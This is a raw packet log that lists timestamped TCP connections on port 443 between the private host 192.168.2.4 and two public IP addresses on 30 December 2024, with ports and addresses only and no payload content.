Dec 30, 2024 11:37:20.378582954 CET	443	50404	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:20.378714085 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.379266977 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.379275084 CET	443	50404	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:20.379498005 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.379503965 CET	443	50404	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:20.437510014 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.437575102 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.437603951 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.437642097 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.438194036 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.438210011 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.438282013 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.438306093 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.438339949 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.438927889 CET	50410	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.438970089 CET	443	50410	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.439189911 CET	50410	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.440716028 CET	50410	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.440741062 CET	443	50410	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.548748016 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.548924923 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.548943996 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.548984051 CET	50410	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.550285101 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.550322056 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.550482035 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.552207947 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.552218914 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.559478998 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.559577942 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.559664965 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.560779095 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.560833931 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.561533928 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.561585903 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:20.561881065 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.562736034 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.562750101 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.171864986 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.171958923 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.172444105 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.172455072 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.173079014 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.173192024 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.173871994 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.173958063 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.174751043 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.174756050 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.176472902 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.176482916 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.176731110 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.177073002 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.178181887 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.189882994 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.189941883 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.190998077 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.191046953 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.192780972 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.192787886 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.193030119 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.193080902 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.193450928 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.223337889 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.235328913 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.551640987 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.551762104 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.552627087 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.552654982 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.552676916 CET	443	50411	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.552748919 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.552748919 CET	50411	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.553539991 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.553599119 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.553658009 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.554025888 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.554080009 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.554148912 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.554419041 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.554438114 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.554451942 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.554467916 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.566737890 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.567764044 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.568181992 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.570825100 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.570887089 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.570911884 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.570945024 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.570956945 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.571016073 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.571218014 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.576057911 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.576082945 CET	443	50412	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.576093912 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.576128960 CET	50412	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.576903105 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.576937914 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.577016115 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.578249931 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:21.578270912 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:21.582624912 CET	50413	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.582638979 CET	443	50413	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.583823919 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.583848000 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:21.584486008 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.588709116 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:21.588720083 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.155719042 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.155827999 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.156219959 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.156228065 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.156373978 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.156379938 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.167670965 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.167821884 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.168251038 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.168267012 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.170864105 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.170871973 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.185559034 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.185693979 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.186294079 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.186307907 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.186714888 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.186722994 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.206780910 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.206886053 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.207482100 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.207488060 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.207765102 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.207768917 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.540482998 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.540630102 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.540656090 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.540760040 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.541295052 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.541343927 CET	443	50422	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.541435003 CET	50422	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.541882992 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.541928053 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.541990995 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.542423964 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.542438984 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.552974939 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.553029060 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.553088903 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.553117990 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.553143024 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.553224087 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.553872108 CET	50421	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.553886890 CET	443	50421	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.554553986 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.554608107 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.554662943 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.554866076 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.554882050 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.557950020 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.558026075 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.558037996 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.558289051 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.558409929 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.558454037 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.558619022 CET	443	50423	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.558623075 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.558650017 CET	50423	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.559242010 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.559267044 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.559401035 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.559911013 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:22.559919119 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:22.711910009 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.711952925 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.712021112 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.712034941 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.712080956 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.712127924 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.712665081 CET	50424	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.712680101 CET	443	50424	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.713210106 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.713263035 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:22.713362932 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.713613033 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:22.713629007 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.141745090 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.141824961 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.142504930 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.142596006 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.144689083 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.144699097 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.144968987 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.145034075 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.145406008 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.172656059 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.172733068 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.178215981 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.178282022 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.178952932 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.179003954 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.181340933 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.181349993 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.181633949 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.181680918 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.183271885 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.187642097 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.187670946 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.189553022 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.189559937 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.191327095 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.227334023 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.316876888 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.317186117 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.324027061 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.324050903 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.324201107 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.324207067 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.505944014 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.505992889 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.506007910 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.506046057 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.506171942 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.506198883 CET	443	50435	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.506246090 CET	50435	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.506855965 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.506911039 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.506973982 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.507229090 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.507242918 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.552498102 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.552603006 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.552798986 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.552840948 CET	443	50437	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.552994967 CET	50437	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.553762913 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.553817034 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.553884029 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.554121017 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:23.554132938 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:23.588606119 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.588660955 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.588737965 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.588766098 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.588781118 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.588804007 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.588830948 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.589504957 CET	50436	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.589519978 CET	443	50436	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.590373039 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.590415955 CET	443	50441	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.592478991 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.592694044 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.592708111 CET	443	50441	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.735940933 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.735985994 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.736000061 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.736030102 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.736046076 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.736066103 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.736072063 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.736099958 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.736104965 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.736136913 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.736931086 CET	50438	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.736943960 CET	443	50438	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.738001108 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.738034964 CET	443	50442	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:23.738086939 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.738409996 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:23.738418102 CET	443	50442	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.107794046 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.107863903 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.108845949 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.108966112 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.133219004 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.133250952 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.133605003 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.133656979 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.134052038 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.153947115 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.154025078 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.154711962 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.154778957 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.156503916 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.156516075 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.156769037 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.156824112 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.157115936 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.179342031 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.200078964 CET	443	50441	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.200143099 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.200560093 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.200572968 CET	443	50441	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.200742006 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.200750113 CET	443	50441	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.203324080 CET	443	50440	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.337629080 CET	443	50442	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.337722063 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.359750032 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.359766960 CET	443	50442	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.359954119 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.359963894 CET	443	50442	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.481803894 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.481966019 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.481997013 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.482445002 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.482651949 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.482702971 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.482749939 CET	443	50439	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.482800007 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.482855082 CET	50439	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.483408928 CET	50444	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.483447075 CET	443	50444	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.483546972 CET	50444	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.483778954 CET	50444	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.483795881 CET	443	50444	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.549583912 CET	50440	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.549772024 CET	50441	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.549794912 CET	50442	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.549818039 CET	50444	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.550545931 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.550601959 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.550906897 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.552408934 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.552443027 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.552536964 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.552927971 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.552947998 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.553416014 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:24.553430080 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:24.554188967 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.554219961 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:24.554346085 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.554919958 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:24.554932117 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.152877092 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.152957916 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.153680086 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.153743029 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.155276060 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.155292034 CET	443	50445	142.250.186.142	192.168.2.4
